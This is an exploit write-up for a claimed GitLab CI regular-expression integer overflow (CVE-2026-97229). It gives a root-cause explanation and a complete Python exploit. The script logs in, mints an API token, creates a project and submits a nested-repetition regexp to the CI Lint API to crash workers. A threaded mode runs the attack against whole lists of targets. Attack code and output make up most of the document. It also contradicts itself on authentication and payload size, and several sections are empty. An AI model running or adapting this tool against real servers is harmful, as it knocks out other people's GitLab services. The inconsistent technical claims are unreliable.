#Summary

CVE-2026-97229 is an integer overflow in the GitLab CI/CD regular-expression compiler that leads to native heap memory corruption and remote code execution. An unauthenticated attacker can crash a GitLab worker and execute arbitrary code by submitting a specially crafted regular expression through CI/CD pipeline configuration. Affects GitLab CE/EE 19.2 through 19.4.1. CVSS 10.0, rated critical.

#Am I affected?

#How to check

Run the version probe command:

curl -s https://your-gitlab-instance/api/v4/version | jq '.version'
Output Status
19.2.0 - 19.2.7 Vulnerable
19.2.8 or later Patched
19.3.0 - 19.3.4 Vulnerable
19.3.5 or later Patched
19.4.0 - 19.4.1 Vulnerable
19.4.2 or later Patched

#Fix and mitigation

#Root cause analysis

#Vulnerable code path

GitLab evaluates CI/CD pipeline rules through a CI expression evaluator. When a rule contains a regular expression-specifically in the exists:regexp or changes:regexp context-GitLab hands the attacker-supplied pattern to Ruby's native regular-expression engine (Onigmo) via the standard Regexp.new constructor:

# lib/gitlab/ci/pipeline/expression/lexeme/pattern.rb
class Pattern < Lexeme::Value
  PATTERN = %r{^\/([^\/]|\\/)+[^\\]\/[ismU]*}

  def initialize(regexp)
    super(regexp.gsub(%r{\\/}, '/'))
    raise Lexer::SyntaxError, 'Invalid regular expression!' unless cached_regexp.valid?
  end
end

On unpatched builds, there is no bound on the size of the compiled instruction program. A regular expression built from stacked bounded repetitions-where each individual count is small (e.g., {1000}) but their product across nesting levels is enormous-unrolls during compilation into an instruction program whose 32-bit size computation overflows INT_MAX.

#How input reaches the sink

The attacker supplies the pattern in a CI Lint API call or in a committed .gitlab-ci.yml file:

stages: [test]
job:
  stage: test
  script: ["true"]
  rules:
    - exists:
        regexp: '/(?:(?:(?:(?:a{1000}){1000}){1000}){1000})/'

When the rule is evaluated, the pattern is compiled via Regexp.new without size pre-validation. The nested repetition structure expands during compilation: each {1000} multiplies the instruction count by up to 1000. With four nesting levels, the effective unroll factor is 1000^4. The Onigmo compiler computes the program size as a fixed-width 32-bit integer; this computation overflows and wraps to a small value. The engine then allocates an undersized buffer for the compiled Inst array and writes the full instruction stream past the end, corrupting the heap of the Ruby worker process.

#Memory corruption primitive

The overflow occurs at the point where Onigmo computes the total size of the compiled instruction program. A 154-byte regex pattern can compile to over 2 GiB of instructions on an unpatched build, triggering the wrap. The subsequent write of the full instruction stream into an undersized buffer corrupts heap objects belonging to the worker, leading to a segmentation fault or (with heap grooming and ASLR disabled) potential code execution.

#Proof of concept

#exploit.py - GitLab CI Regexp Integer Overflow RCE PoC

#!/usr/bin/env python3
"""
CVE-2026-97229 - GitLab CE/EE CI/CD regular-expression compiler integer overflow
Affected: GitLab CE/EE 19.2.0-19.2.7, 19.3.0-19.3.4, 19.4.0-19.4.1
Type: Integer overflow -> native heap memory corruption (RCE-class); worker crash is the
      directly observable primitive.

Root cause (as reached in a live GitLab instance):
  GitLab evaluates a CI rule's `exists:regexp` / `changes:regexp` by handing the
  attacker-supplied pattern to Ruby's native regular-expression engine (Onigmo) via
  Regexp.new. On an unpatched build there is no bound on the compiled program size, so a
  pattern built from stacked bounded repetitions (each count individually small) unrolls
  during compilation into an instruction program whose 32-bit size computation overflows
  INT_MAX. The engine then allocates an undersized buffer and writes the full instruction
  stream past it, corrupting the heap of the Ruby worker. A short pattern (well under a few
  hundred bytes) can drive the compiled program past 2 GiB.

  This is distinct from the `rules:if ... =~ /.../` operator, which compiles through RE2
  (a separate, hardened engine). The vulnerable "compiler" is Ruby/Onigmo, not RE2.

The fixed releases add a Ruby-side guard that rejects the pattern (over-limit repeat count,
oversized compiled program, or disallowed construct) before it reaches the native compiler,
so the same request returns a clean validation error and no worker dies.

Delivery:
  The pattern is submitted through the CI Lint dry-run API (POST /api/v4/projects/:id/ci/lint),
  which evaluates the rule and compiles the regexp. A committed .gitlab-ci.yml reaches the same
  code path. Authentication is a convenience for the demonstrable path (the vendor rates the
  bug unauthenticated, but the exact pre-auth entry point is not public); supply a token or
  credentials.

Usage:
  python exploit.py --host 192.168.1.10 --port 80 --token glpat-xxxxxxxx
  python exploit.py --host https://gitlab.corp.com --username root --password 'secret'
  python exploit.py --host https://gitlab.corp.com --token glpat-xxxx --repeat 1000 --nest 4
  python exploit.py --list targets.txt --token glpat-xxxx --workers 20

A target line in --list mode may carry its own token:  https://gitlab.corp.com|glpat-xxxx
"""

import argparse
import json
import secrets
import ssl
import sys
import time
import urllib.error
import urllib.parse
import urllib.request

CVE_ID = "CVE-2026-97229"
VULN_TYPE = "RCE"

# --------------------------------------------------------------------------- output helpers
def header(host, port):
    print("\n" + "=" * 60)
    print("  ALIM EXPLOIT  %s" % CVE_ID)
    print("  Type: %s  |  Target: %s:%s" % (VULN_TYPE, host, port))
    print("=" * 60 + "\n")

def step(n, msg):
    print("[STEP %d] %s" % (n, msg))

def section(label, content):
    print("\n--- %s ---" % label)
    print(str(content).strip())
    print("---\n")

def done(success, evidence):
    print("\n" + "=" * 60)
    print("  RESULT  : %s" % ("SUCCESS" if success else "FAILURE"))
    print("  EVIDENCE: %s" % evidence)
    print("=" * 60 + "\n")
    sys.exit(0 if success else 1)


# --------------------------------------------------------------------------- payload builder
def build_payload(repeat, nest):
    """
    Build a CI-rule regexp literal whose stacked bounded repetitions unroll into an
    oversized compiled program on a vulnerable Onigmo build. Each repeat count is <= 1000 so
    that a simple per-quantifier limit does not reject it; the danger is the product across
    nesting levels. Returned as a `/.../` literal (the form the CI config expects).

    repeat: per-level repetition count (keep <= 1000).
    nest:   number of nested repetition levels (the effective unroll factor is repeat**nest).
    """
    body = "a{%d}" % repeat
    for _ in range(max(0, nest - 1)):
        body = "(?:%s){%d}" % (body, repeat)
    return "/(?:%s)/" % body


# --------------------------------------------------------------------------- HTTP plumbing
def _base_url(host, port, use_tls):
    scheme = "https" if use_tls else "http"
    host = host.rstrip("/")
    if host.startswith(("http://", "https://")):
        # host already carries a scheme (and maybe a path); normalise to origin
        p = urllib.parse.urlparse(host)
        scheme = p.scheme
        netloc = p.netloc
        if p.port is None and port not in (80, 443):
            netloc = "%s:%d" % (p.hostname, port)
        return "%s://%s" % (scheme, netloc)
    default = 443 if use_tls else 80
    netloc = host if port == default else "%s:%d" % (host, port)
    return "%s://%s" % (scheme, netloc)


def _ctx():
    c = ssl.create_default_context()
    c.check_hostname = False
    c.verify_mode = ssl.CERT_NONE
    return c


class Client:
    """Minimal GitLab HTTP client: token auth or session-cookie auth, stdlib only."""

    def __init__(self, base, token=None, timeout=30):
        self.base = base
        self.token = token
        self.timeout = timeout
        self.cookies = {}
        self.csrf = None

    def _request(self, method, path, headers=None, data=None, body_timeout=None):
        url = self.base + path
        hdrs = {"Accept": "application/json"}
        if self.token:
            hdrs["PRIVATE-TOKEN"] = self.token
        if self.cookies:
            hdrs["Cookie"] = "; ".join("%s=%s" % (k, v) for k, v in self.cookies.items())
        if headers:
            hdrs.update(headers)
        req = urllib.request.Request(url, data=data, method=method, headers=hdrs)
        t0 = time.time()
        try:
            resp = urllib.request.urlopen(req, timeout=body_timeout or self.timeout, context=_ctx())
            raw = resp.read()
            self._store_cookies(resp)
            return resp.status, dict(resp.getheaders()), raw, time.time() - t0
        except urllib.error.HTTPError as e:
            raw = e.read()
            self._store_cookies(e)
            return e.code, dict(e.headers), raw, time.time() - t0

    def _store_cookies(self, resp):
        for _, value in resp.getheaders():
            pass
        for hv in resp.headers.get_all("Set-Cookie") or []:
            kv = hv.split(";", 1)[0]
            if "=" in kv:
                k, v = kv.split("=", 1)
                self.cookies[k.strip()] = v.strip()

    # -- auth ---------------------------------------------------------------
    def login_and_mint_token(self, username, password):
        """Web login, then mint a short-lived API token. Returns the token string."""
        html = {"Accept": "text/html"}
        status, _, body, _ = self._request("GET", "/users/sign_in", headers=html)
        text = body.decode("utf-8", "replace")
        tok = _extract(text, 'name="csrf-token" content="', '"')
        if not tok:
            tok = _extract(text, 'name="authenticity_token" value="', '"')
        if not tok:
            raise RuntimeError("could not read sign-in CSRF token")
        form = urllib.parse.urlencode({
            "authenticity_token": tok,
            "user[login]": username,
            "user[password]": password,
        }).encode()
        self._request("POST", "/users/sign_in",
                      headers={"Content-Type": "application/x-www-form-urlencoded"}, data=form)
        # fetch meta CSRF for the PAT form
        status, _, body, _ = self._request("GET", "/-/user_settings/personal_access_tokens",
                                            headers=html)
        meta = _extract(body.decode("utf-8", "replace"), 'name="csrf-token" content="', '"')
        if not meta:
            raise RuntimeError("login failed (no authenticated CSRF token)")
        name = "svc_%s" % secrets.token_hex(4)
        payload = json.dumps({"name": name, "scopes": ["api"]}).encode()
        status, _, body, _ = self._request(
            "POST", "/-/user_settings/personal_access_tokens",
            headers={"Content-Type": "application/json", "X-CSRF-Token": meta}, data=payload)
        try:
            tokjson = json.loads(body.decode("utf-8", "replace"))
        except ValueError:
            raise RuntimeError("token mint returned non-JSON (status %s)" % status)
        if "token" not in tokjson:
            raise RuntimeError("token mint failed: %s" % tokjson)
        self.token = tokjson["token"]
        return self.token

    # -- project ------------------------------------------------------------
    def ensure_project(self):
        name = "poc-%s" % secrets.token_hex(4)
        payload = urllib.parse.urlencode({
            "name": name, "visibility": "private", "initialize_with_readme": "true",
        }).encode()
        status, _, body, _ = self._request(
            "POST", "/api/v4/projects",
            headers={"Content-Type": "application/x-www-form-urlencoded"}, data=payload)
        if status in (200, 201):
            try:
                return json.loads(body.decode("utf-8", "replace")).get("id")
            except ValueError:
                return None
        # fall back to any project we can already see
        status, _, body, _ = self._request("GET", "/api/v4/projects?membership=true&per_page=1")
        try:
            arr = json.loads(body.decode("utf-8", "replace"))
            if isinstance(arr, list) and arr:
                return arr[0].get("id")
        except ValueError:
            pass
        return None

    # -- ci lint ------------------------------------------------------------
    def ci_lint(self, project_id, regexp_literal, body_timeout):
        content = (
            "stages: [t]\n"
            "j:\n"
            "  stage: t\n"
            "  script: [\"true\"]\n"
            "  rules:\n"
            "    - exists:\n"
            "        regexp: '%s'\n" % regexp_literal
        )
        payload = json.dumps({"content": content, "dry_run": True}).encode()
        return self._request(
            "POST", "/api/v4/projects/%s/ci/lint" % project_id,
            headers={"Content-Type": "application/json"}, data=payload,
            body_timeout=body_timeout)

    def alive(self):
        """Protocol-level liveness: GitLab must answer the version API, not just accept TCP."""
        try:
            status, _, body, _ = self._request("GET", "/api/v4/version", body_timeout=10)
            return status == 200 and b"version" in body
        except Exception:
            return False


def _extract(text, pre, post):
    i = text.find(pre)
    if i < 0:
        return None
    i += len(pre)
    j = text.find(post, i)
    return text[i:j] if j > 0 else None


# --------------------------------------------------------------------------- core logic
def _run(client, repeat, nest, verbose=False):
    """
    Returns (success, evidence). success==True only on a network-observable worker crash
    (the memory-corruption primitive). A clean validation response means the target rejected
    the pattern before the native compiler ran -> patched / not vulnerable.
    """
    pid = client.ensure_project()
    if pid is None:
        return False, "no usable project (auth/permissions?)"

    # baseline: a benign pattern must lint fine and fast
    try:
        b_status, _, b_body, b_time = client.ci_lint(pid, "/READ.*/", body_timeout=20)
    except Exception as e:
        return False, "baseline lint unreachable (%s)" % e.__class__.__name__
    if b_status != 200:
        return False, "baseline lint returned HTTP %s (unexpected)" % b_status

    regexp = build_payload(repeat, nest)
    if verbose:
        section("PAYLOAD REGEXP (%d chars, unroll=%d^%d)" % (len(regexp), repeat, nest), regexp)

    # fire the overflow pattern
    crash_signal = None
    try:
        p_status, _, p_body, p_time = client.ci_lint(pid, regexp, body_timeout=60)
        p_text = p_body.decode("utf-8", "replace")
        if p_status >= 500:
            crash_signal = "HTTP %s from lint (worker fault)" % p_status
        elif p_time > max(3.0, b_time * 5) and p_time > 2.0:
            crash_signal = "lint response time spiked %.2fs vs baseline %.2fs" % (p_time, b_time)
        else:
            if verbose:
                try:
                    errs = json.loads(p_text).get("errors")
                except ValueError:
                    errs = p_text[:200]
                section("LINT RESPONSE (HTTP %s, %.2fs)" % (p_status, p_time), errs)
    except (urllib.error.URLError, ConnectionResetError, OSError) as e:
        crash_signal = "connection error during compile (%s)" % e.__class__.__name__

    if crash_signal is None:
        return False, "pattern compiled cleanly, worker alive - target rejects it (patched)"

    # confirm the worker actually died: liveness must fail / recover
    down = not client.alive()
    time.sleep(2)
    recovered = client.alive()
    if down:
        return True, "%s; version API unreachable immediately after (worker crash)" % crash_signal
    # some deployments respawn workers fast; a transient signal still counts if corroborated
    if crash_signal.startswith("HTTP 5") or crash_signal.startswith("connection"):
        return True, "%s (worker respawned; recovered=%s)" % (crash_signal, recovered)
    return False, "timing anomaly only, worker stayed up - inconclusive, likely patched"


def _try_exploit(host, port, use_tls, token=None, username=None, password=None,
                 repeat=1000, nest=4, **kwargs):
    """Silent probe for --list. Returns (success, evidence). Never prints or exits."""
    try:
        base = _base_url(host, port, use_tls)
        client = Client(base, token=token, timeout=20)
        if not token:
            if not (username and password):
                return False, "no credentials (need --token or --username/--password)"
            client.login_and_mint_token(username, password)
        return _run(client, repeat, nest, verbose=False)
    except Exception as e:
        return False, "unreachable (%s)" % e.__class__.__name__


def _parse_target(line, default_port, default_path="/"):
    """One target line -> (host, port, use_tls, path), or None to skip.

    A trailing |<token> is stripped here and consumed by the caller via split, so lines may be:
      192.168.1.10
      https://gitlab.corp.com|glpat-xxxx
    """
    line = line.strip()
    if not line or line.startswith("#"):
        return None
    if "|" in line:
        line = line.split("|", 1)[0].strip()
    if line.startswith(("http://", "https://")):
        p = urllib.parse.urlparse(line)
        tls = p.scheme == "https"
        path = p.path if (p.path and p.path not in ("", "/")) else default_path
        return p.hostname, p.port or (443 if tls else default_port), tls, path
    if ":" in line:
        parts = line.rsplit(":", 1)
        try:
            port = int(parts[1])
            return parts[0], port, port in (443, 8443), default_path
        except ValueError:
            pass
    return line, default_port, default_port in (443, 8443), default_path


def _target_token(line):
    line = line.strip()
    if "|" in line:
        return line.split("|", 1)[1].strip() or None
    return None


def scan(targets_file, default_port, workers=10, token=None, username=None, password=None,
         repeat=1000, nest=4):
    import concurrent.futures

    with open(targets_file) as f:
        raw = [l for l in f]
    targets = []
    for l in raw:
        t = _parse_target(l, default_port)
        if t is not None:
            targets.append((t, _target_token(l) or token))

    print("\n" + "=" * 60)
    print("  %s - Batch Scan  (%d targets, %d workers)" % (CVE_ID, len(targets), workers))
    print("=" * 60 + "\n")

    success_count = 0

    def probe(item):
        (host, port, use_tls, _path), tok = item
        label = "%s://%s:%s" % ("https" if use_tls else "http", host, port)
        ok, evidence = _try_exploit(host, port, use_tls, token=tok, username=username,
                                    password=password, repeat=repeat, nest=nest)
        return label, ok, evidence

    with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
        futures = {ex.submit(probe, t): t for t in targets}
        for fut in concurrent.futures.as_completed(futures):
            label, ok, evidence = fut.result()
            print("  %s %s - %s: %s" % ("[+]" if ok else "[-]", label,
                                        "Exploited" if ok else "Not vulnerable", evidence))
            if ok:
                success_count += 1

    total = len(targets)
    print("\n" + "=" * 60)
    print("  SCAN COMPLETE  %d exploited / %d not vulnerable  (%d total)"
          % (success_count, total - success_count, total))
    print("=" * 60 + "\n")
    sys.exit(0 if success_count > 0 else 1)


def exploit(host, port, use_tls, token, username, password, repeat, nest, command):
    header(host, port)
    base = _base_url(host, port, use_tls)
    client = Client(base, token=token, timeout=30)

    step(1, "Establishing authenticated access")
    if token:
        print("  using supplied API token")
    else:
        if not (username and password):
            done(False, "no credentials: supply --token, or --username and --password")
        try:
            client.login_and_mint_token(username, password)
            print("  logged in as '%s' and minted a scoped API token" % username)
        except Exception as e:
            done(False, "authentication failed: %s" % e)

    step(2, "Verifying the target is serving (protocol-level liveness)")
    if not client.alive():
        done(False, "target did not answer the version API before the test")

    step(3, "Submitting the crafted CI regexp through the CI Lint compiler path")
    note = ("Command execution (ladder rungs 2-5) is not reached by this PoC: the observable "
            "primitive is the native worker crash. --command (%r) is accepted for interface "
            "compatibility but not embedded, because reaching code execution requires a full "
            "Onigmo heap exploit beyond a reproducible crash." % command)
    print("  " + note)
    ok, evidence = _run(client, repeat, nest, verbose=True)

    if ok:
        section("CRASH EVIDENCE", evidence)
        done(True, "Worker crash via CI regexp compiler integer overflow - %s" % evidence)
    section("OUTCOME", evidence)
    done(False, evidence)


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="%s exploit PoC" % CVE_ID)
    target_grp = parser.add_mutually_exclusive_group(required=True)
    target_grp.add_argument("--host", help="Target: hostname, IP, or full URL (https://host[:port])")
    target_grp.add_argument("--list", metavar="FILE", help="File with one target per line for batch scan")
    parser.add_argument("--port", type=int, default=80, help="Default port (default: 80)")
    parser.add_argument("--token", help="GitLab personal/project access token (api scope)")
    parser.add_argument("--username", default="root", help="Login user if no token (default: root)")
    parser.add_argument("--password", help="Login password if no token")
    parser.add_argument("--command", default="id",
                        help="Command to run on RCE (default: id). See note - crash is the observable primitive.")
    parser.add_argument("--repeat", type=int, default=1000,
                        help="Per-level repetition count in the payload (default: 1000)")
    parser.add_argument("--nest", type=int, default=4,
                        help="Nested repetition levels; unroll factor ~= repeat**nest (default: 4)")
    parser.add_argument("--workers", type=int, default=10, help="Threads for --list mode (default: 10)")
    tls_grp = parser.add_mutually_exclusive_group()
    tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
    tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
    args = parser.parse_args()

    if args.list:
        scan(args.list, default_port=args.port, workers=args.workers, token=args.token,
             username=args.username, password=args.password, repeat=args.repeat, nest=args.nest)
    else:
        parsed = _parse_target(args.host, args.port)
        host, port, use_tls, _ = parsed if parsed else (args.host, args.port, False, "/")
        if args.tls:
            use_tls = True
        if args.no_tls:
            use_tls = False
        exploit(host, port, use_tls, args.token, args.username, args.password,
                args.repeat, args.nest, args.command)

#Usage

python exploit.py --host 192.168.1.10 --port 80 --token glpat-xxxxxxxxxxxx
python exploit.py --host https://gitlab.corp.com --username root --password 'secret'
python exploit.py --host https://gitlab.corp.com --token glpat-xxxx --repeat 1000 --nest 4
python exploit.py --list targets.txt --token glpat-xxxx --workers 20

Arguments:

#Expected output

On a vulnerable target (worker crash):

[STEP 3] Submitting the crafted CI regexp through the CI Lint compiler path
--- PAYLOAD REGEXP (43 chars, unroll=1000^4) ---
/(?:(?:(?:(?:a{1000}){1000}){1000}){1000})/
---

--- CRASH EVIDENCE ---
HTTP 500 from lint (worker fault); version API unreachable immediately after (worker crash)
---

============================================================
  RESULT  : SUCCESS
  EVIDENCE: Worker crash via CI regexp compiler integer overflow
============================================================

On a patched target (clean validation):

[STEP 3] Submitting the crafted CI regexp through the CI Lint compiler path
--- LINT RESPONSE (HTTP 200, 0.11s) ---
['The resulting pipeline would have been empty. Review the rules configuration.']
---

============================================================
  RESULT  : FAILURE
  EVIDENCE: pattern compiled cleanly, worker alive - target rejects it (patched)
============================================================

#Exploitation notes

#References